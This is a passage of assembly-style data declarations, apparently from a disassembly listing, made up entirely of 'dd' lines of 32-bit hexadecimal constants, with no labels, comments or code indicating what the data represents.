dd 811D71E5h, 0BD37452Ah, 9123B95Dh, 82A6B45Eh, 0FEB077C9h
dd 0DF36942Ch, 0D2DEB7CAh, 0EFB1FD51h, 0F8B2154Ch, 0D5C5A19Ah
dd 3A72C9F7h, 0E056A9C1h, 70FFB89Eh, 44242DBh, 47C7525Eh
dd 0C08135FFh, 0D9ABD31Ch, 80C1A7C0h, 0D4D37447h, 0CB990A1Fh
dd 4CF1D7D3h, 7D380833h, 0E60F6730h, 34BE4816h, 0E8D16B08h
dd 0E4F0167h, 6CBF2C75h, 0DF5A6BE0h, 0BB285E60h, 23E08B3Bh
dd 1DD98BA0h, 18A267FDh, 0C5705AADh, 20C8C598h, 0A59E01E5h
dd 422FB711h, 6648ECE7h, 5BE42C6Fh, 33C28B03h, 5560E3F1h
dd 0ABB129F0h, 25CBB0FAh, 189318FCh, 1F6F9B9Fh, 4D3F680Fh
dd 2C1BFEE2h, 8C0FF92Ah, 0ABAA30DDh, 831218ADh, 16516A82h
dd 0FB001BC5h, 0B1CD42ECh, 0A235680Eh, 0E4AB69C3h, 8EF5321Eh
dd 91E230DDh, 77389C03h, 0E8BAC741h, 1DDC1E04h, 0B8A220E5h
dd 515F1C5Dh, 558CCD48h, 0B582029Ah, 620DB5C6h, 2E9FC6E9h
dd 225F97DCh, 708FBE04h, 7369BE9h, 0F720551Dh, 0DAB3D115h
dd 0F52FF6Ah, 37057497h, 1B69FFCDh, 430F3936h, 61BF097Ah
dd 5707FF0Dh, 0DABE3FE0h, 27A369B6h, 0A36AE8D2h, 0F5F58F14h
dd 0C5E54B2Bh, 0D7F1EC9Fh, 3E2EE5A1h, 4B3A6B91h, 8DC606Ch
dd 1497261h, 31551FE3h, 7B51879h, 0FE97483Ch, 0A83A422Fh
dd 47AA4A78h, 586229DBh, 0BCDA34AAh, 0C2C5EC74h, 0B704E325h
dd 0C25EBD17h, 0FC0448BEh, 0A68AAF93h, 81C4774Ch, 0EA5E67E4h
dd 32D441AAh, 0C82D3008h, 267DFA08h, 0DD84BB7Dh, 3CC8CF7Eh
dd 5620282Bh, 0A9014AFCh, 46F85CCDh, 4919F424h, 13036FE4h
dd 0DA9AE084h, 161395D2h, 0A08B6B69h, 0B0DE9F83h, 0BA429804h
dd 65A7B994h, 79E1C2B3h, 0CB703398h, 0D3B47020h, 31571511h
dd 269FBA64h, 0FC0F1A23h, 5C1D9D00h, 60125E80h, 957AA9C7h
dd 891D0CB8h, 17B5D367h, 37612B92h, 6A989548h, 13D9B0C0h
dd 22EF3A4Dh, 531D6078h, 0CD931AD2h, 1F1C683Dh, 42CCD7C9h
dd 0B5148886h, 119935A7h, 3A604D26h, 95390B43h, 381A6D8Dh
dd 2842E611h, 5D261938h, 4B94822Ah, 4E651B06h, 0D8C46AF4h
dd 0BB64909Eh, 0B457CE8Ch, 5847CBB9h, 0A4666434h, 24399A52h
dd 3565227Dh, 0D1170E5Dh, 69FBCE85h, 0FE9CA932h, 0FB80C415h
dd 90688A14h, 64C7B6CDh, 2B78F922h, 7E585C64h, 0DA3BB51h
dd 0CC866D76h, 17716FCDh, 0B825E4F5h, 0A9B0320Bh, 58C7067h
dd 8F6C51A3h, 0E21C11D1h, 0C7C71034h, 51AAD1F5h, 280CACB2h
dd 12E2F34Dh, 4193A858h, 86CAB0C1h, 3B2A8ED0h, 879868E5h
dd 1CEFFCCDh, 15168F97h, 0E8EDB20Ah, 3DBB0339h, 0E49EBB8Ah
dd 0BB40C3AAh, 2DBBEA1Eh, 3E2B50DCh, 5851BD8h, 3950BDF9h
dd 40A732A3h, 753ED844h, 249D596Dh, 2C997F20h, 0C1569E53h
dd 2BD3D3F2h, 22A0594Ah, 0C3AE9204h, 602614Eh, 0C278B0D9h
dd 0EDF95FE8h, 0DBACF91Eh, 0C64110E8h, 900EF31Dh, 9DB30CD1h
dd 387E0F57h, 2753AE44h, 0B0257B76h, 0B514ECA8h, 6B48588Fh
dd 0B77F8779h, 29EAD4ECh, 22552B99h, 0EBC10215h, 0E61B0F3Bh
dd 0BF2A7231h, 9277395h, 27FB7FAAh, 9903B364h, 0F18C3B5Bh
dd 0AB25BA1Eh, 0B8628E42h, 74F1787Fh, 0DAF8864Bh, 0A7698BF8h
dd 0DC0595D2h, 0A3C30930h, 529D17B3h, 37417309h, 1CDE277Ah
dd 0B2831A80h, 0C059B3F2h, 7DE3C23Fh, 891FB4E0h, 85C7ED36h
dd 109DE86Fh, 0EC2FF751h, 838AC42Dh, 1EF87E77h, 0E58EC0B9h
dd 778A8C66h, 37B6C279h, 0F2897CC7h, 3ABF0E73h, 7B9BE145h
dd 0A8A5FB92h, 0A13595EDh, 0C2FDC3FBh, 94B05FCDh, 0FFAA3640h
dd 0CDE4095Ch, 643FAB69h, 5A3BE0F3h, 0BF797975h, 0DB85E3CFh
dd 0DA71D04h, 0EE582619h, 0EAD44B44h, 93FCEDE4h, 0E0838625h
dd 0E8080F76h, 755BF106h, 0BC5F9D95h, 7D18B127h, 0F3F306E2h
dd 4CD868C1h, 3DCFD427h, 8C1CFABDh, 0A4D35CAFh, 95786875h
dd 7F70C614h, 0E2215624h, 32F090B9h, 0DEBC3584h, 2E819F9Dh
dd 0A5DBD46Fh, 54FB045Bh, 393D743Bh, 6AACC590h, 0D23C7342h
dd 0AAC07E33h, 88042BFDh, 78A26362h, 849C7A6Ah, 41CE0435h
dd 55885DE5h, 0DEDC23EFh, 0CB6AE607h, 989EC39Dh, 0D90D38A5h
dd 9BF4DED0h, 0FF123901h, 0D0212567h, 0AABD9835h, 0E0B342D8h
dd 0D3537246h, 772B8986h, 7202EC47h, 9A3EC550h, 84BA5A7Ah
dd 68D218Bh, 0C2E34D9Ah, 7B1BC7CDh, 39EFDE08h, 3161C95h
dd 3B9F9793h, 3ABAC3DFh, 31D9AD0Ah, 0FF0B5902h, 0C04C8564h
dd 971170E6h, 0AD141CFAh, 0B43F35ACh, 8D0BD27Dh, 0EE8395A5h
dd 0D6F4204Eh, 2C9C9C34h, 3C227F17h, 794B89C4h, 4EA15B7Ch
dd 5836C772h, 721C0A1Bh, 2DFBFA18h, 66867314h, 0F3447502h
dd 0D17F7379h, 522BE9E7h, 0E4AC2ECEh, 2864DB2Bh, 779CEF6Fh
dd 0E4FE79C6h, 6ACB56E7h, 0D23DAB56h, 937D2BE2h, 0A0401230h
dd 677F6184h, 93F9B7B3h, 0BABD66D0h, 70C8B191h, 0A0DDA24Ch
dd 9066F65Ch, 695BF956h, 9963DBEh, 973ABFADh, 51DFF1CAh
dd 965FC96Dh, 0F5A8484Ch, 0B44E4059h, 44424DBFh, 41A48503h
dd 5BACB230h, 1D295A7Bh, 830FCDAFh, 0AC6D5EFDh, 0FC5639C1h
dd 86DB9264h, 14FC8C2Ch, 34BC9CACh, 22BA1205h, 65EC9F11h
dd 41A54638h, 3757D81h, 6E3C9DFCh, 0F1E599FCh, 0C6BA7415h
dd 477EC749h, 0B25B1098h, 0E49EBD4h, 0D9424C35h, 0DBC40C51h
dd 1DCDEC44h, 20037673h, 35715629h, 78014B58h, 0B5F93CA6h
dd 330D2EB8h, 30B19398h, 0F2AA42BAh, 0DE6AE7DAh, 447689DCh
dd 2E61D307h, 0C176EF3Fh, 7D214DD4h, 1DEE9DA0h, 2C09D1BCh
dd 0F085E8E7h, 3B5530C7h, 0BDEFEFC8h, 0ED96ECC5h, 4B09C904h
dd 0A4097A03h, 0E8544B94h, 84CEF40Dh, 35EE7B88h, 0EA66BA19h
dd 82D02B4Dh, 0F76ADBE7h
dd 0C11B53DBh, 0EC5E2A9h, 222ACE46h, 364E2104h, 2AEC8952h
dd 943A2AEAh, 0CFC56B13h, 3FE8FA99h, 6F678166h, 9EB0B481h
dd 0C3C4C0AEh, 349BEA34h, 6E6E54E0h, 73595609h, 0E302F554h
dd 0CDAE06E0h, 87221C63h, 0FB38BB7Ch, 0E75184A9h, 598BE465h
dd 0B14D8716h, 9DC05552h, 0D007364Ch, 0D12E06F5h, 444D8CBh
dd 0C62CCA78h, 88C5DE4Eh, 0F67087E4h, 3D918714h, 4D2C82F1h
dd 0F98CDC00h, 2C59D9BCh, 4DBBFB2h, 20645043h, 426DE588h
dd 6E202A5Bh, 31C17742h, 0BDE17E00h, 45D0EC77h, 0A0A4E9ABh
dd 2C8A3EBFh, 3FCA1CB6h, 0F2C4E580h, 52D42C5Eh, 0B9B92325h
dd 0FF55CCFh, 62A09D3Ah, 0F1895365h, 1AA5C931h, 6B41BC1Dh
dd 0A2BD454Bh, 3711618Ch, 545C5B28h, 0BD411318h, 0AB75B7BFh
dd 0F6733512h, 28F2269h, 0F9BBCFD1h, 1109F986h, 16762036h
dd 0B4C8BEDDh, 0CE1444Ch, 0CC3A0FEh, 2E68D36Ah, 4BAEB8E8h
dd 0ECC5E903h, 82AE5EC9h, 0CFA2F94Ch, 29C45588h, 23936993h
dd 0D671D94Eh, 58BEF398h, 62783CA1h, 26010E52h, 0E96C27ABh
dd 28FE7046h, 0BF5C282Dh, 3CF9A115h, 0B220FD2Ah, 1D5ED126h
dd 0E51A3Fh, 0FDAC16B8h, 0D44FB603h, 648839B6h, 61A50742h
dd 333782D1h, 0BC698308h, 0F6884BADh, 83BC31A2h, 41534FB6h
dd 31821E00h, 9864BD6Dh, 2BF8A099h, 57B79FCBh, 5B181F83h
dd 6445733Dh, 18B79709h, 0B1DF8120h, 0C5776ECh, 9AFEC8D3h
dd 9E430E9Eh, 0DE82BBBEh, 0A9D0A982h, 0DB795964h, 95B8A3F1h
dd 0AE007E67h, 0D5339D9Ch, 446F0977h, 0C7901D83h, 3F9C67AEh
dd 0F1E052ABh, 0C8968DD0h, 80413C3Dh, 13BD521Fh, 0F27543D7h
dd 0ADF9BB1Bh, 0FF15FE59h, 0E5B8CC63h, 350AC1D8h, 0BA4E6D9Fh
dd 473A99BAh, 108029F2h, 54EB8310h, 0B36B80D7h, 78AE7822h
dd 4E78EDC0h, 0BD89BF3h, 80AAB840h, 0A62CF509h, 0FDFA74E6h
dd 0D05E7B1Ch, 3D4DD6ACh, 0EC778A88h, 0ABCBEF82h, 4A0356DEh
dd 0A7484CFDh, 7DD95B99h, 0EBAC60FEh, 0DBC14892h, 199E097Fh
dd 48EC5293h, 844FCDA2h, 0C45ACE9Ch, 765CE01Eh, 0B71F37D2h
dd 1E1EACh, 0ED10D8A0h, 0F1B68D43h, 0D73F555Fh, 0CB4F0D51h
dd 5F512F5Fh, 0CA2E5AC0h, 139EBF4Dh, 26EF06E8h, 4F4FE7FBh
dd 0F67C4BD1h, 8459BAFEh, 83259384h, 0B6955AF7h, 4340F27Eh
dd 7F402D76h, 0BCEAC9h, 2DE2E240h, 0FA9FFA2h, 8B944259h
dd 5086760Eh, 9BF0804Fh, 8D0D1910h, 0A5CD8444h, 0DCB0BF44h
dd 537044A0h, 30F81696h, 8DD20561h, 30B35F2Ch, 12C2F889h
dd 0E797D974h, 0DD4C195h, 11F1807Bh, 45DAF0Eh, 1A608EB2h
dd 0D81362E9h, 0D8740D30h, 507FF25Ch, 91C487F7h, 4B5D5233h
dd 557AF1C2h, 1F492BBBh, 2AD05983h, 0AA3A7C09h, 0DB1FE969h
dd 8B1ADA64h, 519B788Ah, 68564DACh, 0D38933D1h, 0C5AB7397h
dd 0D7DF8720h, 0EF520137h, 0A9B634A5h, 8D8DB1AAh, 0FE7A2175h
dd 0DF6874BCh, 1997F507h, 0BC484792h, 0D13DD7B7h, 7424A654h
dd 8FE9951Eh, 0A49435CEh, 0EC281E89h, 28D474DAh, 28C194E6h
dd 7A287F12h, 0D5CF395Eh, 0E478A574h, 2046E10Fh, 0B3BDB5EFh
dd 49E02597h, 98C38273h, 0F02CEF9Ah, 68428199h, 0AB427CBAh
dd 3C7E818Ch, 1BA9497Fh, 0D568C281h, 8AD21913h, 0C8A71997h
dd 0F41E0FECh, 0E6A9C4F2h, 3DA979EFh, 0CC173C27h, 51E71154h
dd 1F86A89Bh, 10C4DCA8h, 5DF75AC4h, 0E242BA22h, 0D503AC2Ch
dd 5F5E5BB4h, 64EC4A58h, 9C5E17C7h, 3586C71Fh, 0E092FD95h
dd 3D7D85E0h, 0BD975DF7h, 3361B9ECh, 23384F92h, 0A5E051C0h
dd 39942585h, 8026A9h, 0B7319B7Ah, 7235E262h, 0CE5938F4h
dd 3D6F3E82h, 0AD6B7E9Fh, 0A5D91B15h, 0AE0BCBF2h, 1767B21Fh
dd 8407C1ECh, 3B3C0CCDh, 0D0C5F9DBh, 0B1FDAE14h, 567A8501h
dd 0FE50EC1Bh, 0EFA186FDh, 40851691h, 19053284h, 4B372837h
dd 0D4D8B12Fh, 13356DBDh, 92E42980h, 11D74BCFh, 2B0712A7h
dd 0EC2D4420h, 63312777h, 0B97047C5h, 63163692h, 0EA082495h
dd 0AFC01B1h, 0A696A118h, 0A7148A3h, 0A2DB683Ah, 0EF9D72A3h
dd 9804B3FFh, 564854ACh, 5E7F8008h, 2D23EFA4h, 28BBD283h
dd 0BDF1D6DEh, 0AFFE7DC6h, 0B82C6E3h, 8AC4BE6Fh, 74DF4A16h
dd 703585F2h, 9674CF20h, 0C95C351Ch, 626C0463h, 2EB2EC93h
dd 0CFB2F54Ah, 5E4420Dh, 9D624C9Ch, 87E03C01h, 0B6F4806Ah
dd 6E795DF3h, 0B61C22CDh, 48675BB7h, 0B0F94D08h, 0BA38BEF3h
dd 0EA5CD4Ch, 0B0BCAFBCh, 0D0345057h, 0CE25CA44h, 77040138h
dd 0D5249A84h, 0AA42A316h, 0D0604CACh, 0D612E667h, 0A89D6037h
dd 58486F46h, 26F8E7E7h, 4A4A3FC3h, 7195CDF7h, 4C5E094Dh
dd 24937E3Ch, 9E201C34h, 1CF9EB1Ah, 957BD73Fh, 49D0596Ch
dd 0F0F6A5C9h, 0D4BA8A41h, 7FED2377h, 7D27CF99h, 0CA1DA340h
dd 0B814E204h, 0C648EE2Dh, 0BD151181h, 0F1366957h, 922015EFh
dd 1A0CE808h, 1B0C1AEEh, 2527F625h, 832539FBh, 289F85ADh
dd 9B2D09ECh, 4F4E73AEh, 9860175Fh, 41A511CFh, 0C9B964ABh
dd 9633A0C7h, 0D8DC8821h, 0C9A66B81h, 828BA208h, 0C7BD4401h
dd 217A5777h, 81E9DAC0h, 5246038h, 9AEC9D14h, 0E7EBA7D5h
dd 0FFCD3902h, 40534E73h, 1ED3A7DFh, 5CDE0CDFh, 0A1E28C04h
dd 0F55E4E92h, 0D4482765h, 27746B8Ah, 0E2872268h, 0A0FDEB98h
dd 7F6D43F3h, 78247984h, 0BB0BD99h, 1F204BC6h, 944A23D7h
dd 67742D98h, 0E79B7C6Dh, 12AAB52h, 0C07D9C81h, 0D70A6CBAh
dd 0E922446Dh, 67E1FB78h, 1442F7EAh, 0A19D4DC3h, 4318CE72h
dd 0D9C286EDh, 628F9495h, 218F37BDh, 2A92DA10h, 783496CFh
dd 512403FBh, 0A57A9D12h, 0D5E39D2Ah, 72974EC0h, 8085C842h
dd 60A57281h, 0DB6CC6A7h, 2D9AAFC6h, 0FF2D422Fh, 0AF7EA1CCh
dd 52A2F9A8h, 77646012h, 0A330A79Dh, 0B258793Ch, 0D7C30967h
dd 0F2F43880h, 0B3C3592Bh, 177292ABh, 9080BCEh, 9B4E6573h
dd 0D3B328B6h, 0DF76EF48h, 0C22EDF00h, 9AB9D59Ah, 0DE2CE454h
dd 5FE54EA8h, 0E1F1D036h, 1C1F79A1h, 784FE351h, 629A9D84h
dd 0C6B48E53h, 3EB66D68h, 9F635A02h, 58C15154h, 0C7BA601Dh
dd 95DE1628h, 437795F3h, 6EFF1000h, 370158F2h, 0DA2CF422h
dd 523B5D1Bh, 0FA011F6Bh, 7E2F9073h, 390B90D8h, 333C012Ah
dd 79EB54B3h, 1CA33456h, 9459F28h, 0FD93C9D7h, 877DBF17h
dd 25267DFFh, 9255AEB1h, 429B9D72h, 5DA9F758h, 267CFDE7h
dd 9F2295CDh, 5EDBB0B5h, 0A38BAA2h, 7EC22DE6h, 5FD534ECh
dd 1D7A511h, 508CEB10h, 9F49A737h, 1D207C31h, 0F730840Dh
dd 6A26FEBCh, 9BD98C01h, 0D0B2F7EEh, 7D5A6577h, 856423A3h
dd 95F5F7ACh, 433D9063h, 9472264Eh, 0DF76FED9h, 542DA383h
dd 6B7BF3h, 37597E96h, 13C58290h, 1101C502h, 2BC43F25h
dd 0BA1B4DBAh, 0B6A6CD3h, 0F3564D3Ch, 36C3D5BBh, 2EB80548h
dd 34E5AC54h, 0A662AC83h, 36333F36h, 981BBB0Bh, 695ABF31h
dd 4E932BC0h, 9F2B8DEAh, 3CE7FEFDh, 0D1B9E77Bh, 5A7670AAh
dd 8F0E8F26h, 32803898h, 7B544602h, 0EE4C6239h, 0F756F8F6h
dd 7654B33Ch, 1D0B1FC4h, 0AF19AD3Ch, 0B31E39A3h, 7524B573h
dd 1A6F5737h, 8C548020h, 0BF9C58B2h, 4B3AC342h, 42A764DDh
dd 78C6989Bh, 6838021Ah, 121F37F7h, 0D6E9DF5h, 9559627Fh
dd 627B4E83h, 9CAFEB81h, 17A68C67h, 0B9A99277h, 8C2DA0Ch
dd 41BF8100h, 0BC8D3F26h, 0E0397946h, 2FA002D7h, 0FF18C14Bh
dd 932A072Fh, 6D0F4722h
dd 819147FBh, 0BF597DB3h, 8017857h, 0AEC8D0FFh, 0C2E60871h
dd 3F9DB26Fh, 129BB8C1h, 0D6D02AB2h, 73F46A61h, 6FE0C28Fh
dd 927F8FD0h, 9AADACBAh, 99F68C91h, 50D66183h, 1E1C3293h
dd 485578B1h, 0BB2E1C3Bh, 77685990h, 1430B954h, 0FA2FCCE1h
dd 0E3C3835Ch, 52E7A17h, 74358754h, 0E3DD3EDCh, 0C659A32Eh
dd 0F0BBF3BCh, 2E3903B9h, 0A2BCD386h, 47E0747Ch, 19AC1D33h
dd 33A5D267h, 0CF008CDBh, 0EF93F0DBh, 556515A2h, 0CFFBD2FCh
dd 0F6E5EB91h, 6E2F987Bh, 6F3CB887h, 589FC8F7h, 0AF6A0D8Dh
dd 4E82641Ch, 0FC15D988h, 0E6D6A14Ah, 4B257026h, 5DD6097Eh
dd 8EAB8E85h, 0FE68FA9Dh, 53B40CF0h, 0E2276988h, 5A26CDBEh
dd 45BEBB1Dh, 21175194h, 69B005C1h, 4E262510h, 69CDAA1Ah
dd 0EBFC869Ch, 0B26C3E60h, 0D4D27E63h, 3A1CD466h, 0E720EBDCh
dd 99C6B446h, 0A8C1DD4Dh, 60987FAh, 0AE00C29Fh, 2DBB4DCAh
dd 5C404313h, 96B3C084h, 46E7A233h, 96EC8370h, 0ACF1B603h
dd 63B8E096h, 991FDFF1h, 6C996649h, 97443A4Eh, 55D7FB13h
dd 0D510D333h, 0E2826066h, 9CFE4E27h, 6A886ACDh, 0AFD7EEACh
dd 73CCCD76h, 0EFE8D901h, 64F86CC5h, 618FF677h, 0E989AED7h
dd 392D3676h, 7F48279Ch, 87981B6Fh, 888A9439h, 87340C46h
dd 877E8D5h, 904BC567h, 9AEAB22h, 0F8067497h, 89B4F04Bh
dd 7BD52B81h, 532C0806h, 1F85D10h, 0A2475A65h, 0B2D50370h
dd 5A2AACA9h, 790F431Bh, 864D626Eh, 0F53CED8Dh, 0F762D600h
dd 0F55E2D12h, 2D65BF66h, 8124FEA9h, 854EE02Dh, 0A581F614h
dd 53B28831h, 0C2CA81A4h, 7B6366FDh, 0DA83EF4Ch, 608E76E2h
dd 0E6A321A4h, 0C57A085Ah, 0F8ED096Bh, 0F9F75AD2h, 0A1E99483h
dd 2A67DFC7h, 0A9439C4Ch, 36E37F75h, 0AC147CC6h, 3284FF2Bh
dd 0FFDD7D0Dh, 8B18D4BEh, 78B916B4h, 4BB533C4h, 0DD33CA6Ah
dd 9C7EFE71h, 377B0A48h, 0FF624D78h, 44D67F37h, 0A6E61D51h
dd 6AB38ED1h, 42F2A077h, 87E8D83h, 14053475h, 0DEA13C26h
dd 1D5AE900h, 7BEF5942h, 5AC8A4B7h, 0F51C8E1Ah, 6CAD0F07h
dd 0CB317821h, 0BED9FB71h, 1ECB0B79h, 0ADF2C411h, 95EE5D94h
dd 3E812AC2h, 5B4C460Bh, 0A077E655h, 7023E53Ah, 2661C46Ch
dd 0CDE05CEh, 5B4101B2h, 0D856BEB0h, 62F5C4F2h, 0A2AD2AC3h
dd 1E4C9A40h, 55629192h, 204F99B7h, 4517AC69h, 92BBC70Eh
dd 1D947E14h, 0A94C7742h, 51911C10h, 66CF0BA9h, 7886811Bh
dd 0A30ECE9h, 8B7ACE2h, 548F22DBh, 132A578Ah, 0F996D233h
dd 0F62A05AAh, 0EEF88F68h, 0DD0B92A9h, 0B3952FCFh, 17B9D5C2h
dd 4528239Eh, 0F964F494h, 80F8F162h, 0FCD34889h, 14D793EEh
dd 12A4C427h, 0C9850597h, 6A7C54F6h, 6B9B208Eh, 90D513E2h
dd 9ED32051h, 0C88AEBD6h, 183B4EE2h, 8256F03Ch, 19FA57CDh
dd 3395496Bh, 2BE59E7Bh, 7E640EF6h, 5B0AC3B5h, 3DA01022h
dd 0B109E01Bh, 451DBCF5h, 7ED4E4Dh, 2F140C8h, 8C470D06h
dd 0ACEC3C59h, 0E4121CE1h, 9B7A4842h, 0C94E7B3Ch, 33888F14h
dd 0F88B1C9Eh, 5BCA6259h, 45452615h, 8652AF91h, 41D22F9Dh
dd 172832D9h, 5ABEA72Ch, 420AD9EEh, 230962BEh, 47772A16h
dd 54FF11CAh, 0D4F661F0h, 98BD3C88h, 75655B7Bh, 0E0F3F729h
dd 3EEDCD33h, 0DDB4C56Dh, 0A6BD4DAh, 7401BC90h, 9C5D48CEh
dd 601E616Bh, 0A09DE57h, 2EE9C1FEh, 0CFD4A2D2h, 6ED23B99h
dd 96A440ECh, 5DDF4697h, 0EB4F6482h, 0C43C7CCFh, 67E1FA07h
dd 28898AB6h, 0A062F262h, 11EAA7F3h, 20BC56DCh, 8E1DFA95h
dd 0EB3E2E87h, 0AE89E7D0h, 0C7554A37h, 8DB2C171h, 0D42B0DF2h
dd 66BF5901h, 31664851h, 3A79AD41h, 9C850BEBh, 0E62ED69Bh
dd 1628760Fh, 0E1185060h, 93E31F07h, 0F1E7A87Ah, 7C1D5713h
dd 0C3BD4C67h, 1E5B8A68h, 4E6398E8h, 49763C16h, 0BBEBE57Dh
dd 0F3DBF582h, 0C197B45h, 6A44C490h, 0BCE49C6h, 406C5A86h
dd 0C476D9CEh, 85C4140Eh, 0EEA3ED41h, 5A32BD53h, 6E2B177Dh
dd 0E69712FCh, 9B46678Fh, 226D05CFh, 8EDD0ED0h, 4340506Bh
dd 0D66A29B5h, 0C2ABE767h, 0F6F439F2h, 44797D2Ah, 700771C2h
dd 90ECB685h, 0BC2162h, 6CB778DBh, 0F2DB67DBh, 90001190h
dd 9D303229h, 462699Eh, 0E2766F19h, 0C442094h, 6D6D935Ah
dd 0F578C57Eh, 0B7CF6011h, 3F58B77Bh, 90B8DA5Dh, 10B7CF85h
dd 0DE4189DCh, 0CBCCD999h, 5B880B71h, 8334519h, 0F27BEAE5h
dd 1A3AD6D6h, 9C0E1CB1h, 9746EF99h, 1C11890Bh, 9E85CFECh
dd 0B1CDED20h, 74045065h, 0F95BE179h, 0B95240D5h, 7E5E6FB6h
dd 0D9BE0975h, 21533A45h, 4F19D793h, 7658469Fh, 9BCA32C7h
dd 0E876D1A6h, 30630683h, 0AF23D143h, 2EC9564Fh, 490A4A51h
dd 594A7641h, 4FF82659h, 6590FAE1h, 81E2EC33h, 0D4FDEB12h
dd 5D880C14h, 73465711h, 0C3FDA20Dh, 0C6433ADEh, 8F6C56FFh
dd 5B227A9Ch, 7D06AB37h, 9BA0F369h, 3FDB1653h, 9285EBD1h
dd 0DAFB424Fh, 0C4007CAEh, 0B2827629h, 0A3E8B892h, 0F3F1A4EFh
dd 504F6AF5h, 0F9970ED3h, 0AD625E94h, 0B2CA363Fh, 3AA6177h
dd 816928F8h, 71BDA9FBh, 0D0857A2Ah, 4D6E3AC7h, 18EAB4C6h
dd 749C8690h, 3B21CAABh, 8A918EE2h, 2B0EDDDBh, 0EE75C819h
dd 602ED5E7h, 96A3BCCCh, 20CCA4DAh, 0E58625F5h, 7FF9E5E3h
dd 0FC6ED981h, 0A79DCB54h, 8AB32557h, 0A59EF10Fh, 2E6FB496h
dd 8340FBB8h, 0F43CFDF0h, 1170719Fh, 3461FFF9h, 0B230774Bh
dd 57BF788Eh, 85E5F078h, 8091FBD0h, 0F1AA3618h, 629E82E9h
dd 668C325Eh, 5D61C24Bh, 29A78D5Eh, 694DEBFh, 0D8B9868Eh
dd 0B72F5125h, 862D3FB7h, 0BA5D5DD7h, 309500EEh, 6D14CD5h
dd 84D63263h, 0D1615649h, 8F9968B8h, 0E258A80Fh, 0B4313266h
dd 0EE74EC20h, 0CA8DA9EDh, 9A3F93FDh, 0CD82402Bh, 0D7A46FE0h
dd 0A8117107h, 0BC583981h, 77A8341Dh, 49089CEBh, 0C7FB2D19h
dd 0D63A44D0h, 3D44233Fh, 0E4892D4Ch, 0FE48C643h, 89CF7DE0h
dd 2311F8E9h, 0A04824B0h, 0B7F81FB9h, 60FB0760h, 0A57A7D72h
dd 253D501Ch, 0CDF7E86Fh, 0F85B24B3h, 0E9804211h, 5C22956Eh
dd 6907D1CDh, 0CFDD52B9h, 90736DEFh, 18F87DF0h, 0B63E7082h
dd 50F86B19h, 79531AF2h, 1913F72h, 98CD8744h, 3C13A328h
dd 71A09E6Dh, 0A87EB2BDh, 216D578Fh, 28E36E93h, 45B90BD6h
dd 4669D779h, 0BA341985h, 0EBF4B7FDh, 3F055FD6h, 654AED0Bh
dd 6B57B58Fh, 0D4E96584h, 7FEA311Fh, 0A3985942h, 0C17A3B9h
dd 0E9C0AEADh, 732842E0h, 0CB9A5443h, 0AD53F570h, 61F222B6h
dd 765FF96Bh, 90D48AC9h, 0C6346B5h, 0D9F00830h, 4B183EDAh
dd 40BF757Ch, 0D8C6E339h, 2FC259F5h, 49B19F13h, 3862C99Eh
dd 8C9F740Fh, 0E14AD954h, 2E97EFBEh, 0F86B4CB4h, 5F15B07h
dd 30D8A82Fh, 0B5A99BA8h, 0F3722BD2h, 8FD46640h, 0AB30216Bh
dd 0FBAE0916h, 7931931Ah, 5573C65h, 7C140834h, 0F829AD1Bh
dd 0C8A7FA96h, 0F76FAA2h, 0C5DA1D07h, 0E583EFE1h, 5C17B1BBh
dd 0E9E736F0h, 0AD7950h, 10509E38h, 739BEB49h, 0B6E8EC6Ah
dd 693DF5BFh, 2D699EF2h, 0AC85E54h, 2EA371A3h, 8A60FF58h
dd 0ED9103AFh, 8D3ADFA1h, 0F2742FE4h, 6C204EEFh, 41DD6215h
dd 0D950E07Bh, 0C2C5D42Eh, 7BB1ED72h, 0CC91B31Dh, 0EF9DF5F4h
dd 8D7CD548h, 0EECA8D93h, 81901E59h, 0DFDB2688h, 0FB054514h
dd 266880EEh, 3E3A7773h, 2DE341BDh, 0FE9D016Fh, 0E43D5248h
dd 0DFFC3F29h, 0DE85ADBh
dd 49745395h, 0B9BBA3C4h, 204E1A1Eh, 8E9D2592h, 42B4F7Bh
dd 81FDD867h, 28BEF68Ah, 366085D6h, 83161BE6h, 29599Fh
dd 9B504976h, 0BEA840BCh, 0B10E1002h, 2E5BD58Dh, 0E26A627h
dd 0B7ADEC29h, 87D0A00Bh, 0F6622971h, 9735121Bh, 0ECA6BA5Ah
dd 263FFCDEh, 96795BC4h, 503B6D3Bh, 8A020243h, 8A1D525h
dd 2104F9Ah, 0F0739F6h, 0D2B3446Dh, 97A03BC9h, 55BD467Ch
dd 9538657Fh, 0AC668169h, 87EFEE57h, 3237CA31h, 0CFA4E38Ah
dd 520F61F3h, 85C52BB0h, 0AE8C22CDh, 88BEBAB6h, 1F7E0BF1h
dd 35735105h, 1B493D3Dh, 47D3E55Eh, 93073D48h, 0CD0A3AA3h
dd 0D2FC051Ah, 5A11E661h, 2881B9B5h, 0A363B45Dh, 36F08388h
dd 83668A9Fh, 87868E37h, 1F1FE9FCh, 0A612B0h, 60CFFBE2h
dd 24C6B584h, 7D5A420Ch, 17D0C5D8h, 0C9860A9Fh, 5C4461A5h
dd 0CF618BCBh, 331F43Bh, 22AF2039h, 9FA0B55Ah, 0E94FDC5Ah
dd 21B54A67h, 41FBDFEDh, 20A7AB67h, 7894C5F0h, 0F3E4EC1Fh
dd 5E731026h, 86E93A5Eh, 0AD85A1FAh, 5F14DAC9h, 88B4255Fh
dd 0CDEFF33Eh, 0F721D9A9h, 7C8D346Ch, 0EE8726F8h, 0A0E05206h
dd 4CA3CEA2h, 0EC8501E7h, 0E897A218h, 0FFB4FDEh, 9640BBDEh
dd 63C9EE53h, 0B94C72DEh, 603D3791h, 449C3228h, 1C25DBDFh
dd 80F1E78Ah, 0E706BED7h, 7B023225h, 4FC5A584h, 162FD219h
dd 0C3A63A01h, 23D3A775h, 301FF2A2h, 48354881h, 7B0BC76Ch
dd 64013894h, 928FD1E8h, 7329530Fh, 93D7B864h, 16779DEDh
dd 59FB2620h, 5FB1AFDDh, 73EB58F6h, 18966ACAh, 0B3C94EBFh
dd 75B40D17h, 0A2285E0Dh, 907B0B42h, 0BB93A713h, 177986E5h
dd 61FB7EE6h, 72106F5Bh, 0E0953B39h, 5D5C298Eh, 2A449BB0h
dd 0CE40C73Fh, 27C895A8h, 0F66A2EDBh, 88929982h, 2C726763h
dd 43078087h, 26152A3Bh, 0BA61D5E6h, 105A3383h, 6D35BE03h
dd 97540277h, 0F19FDD32h, 0D08634DDh, 91A4E4A9h, 9AE2EAABh
dd 0D6C3EC10h, 421B85BDh, 0D84EB856h, 3544A47h, 1D65176h
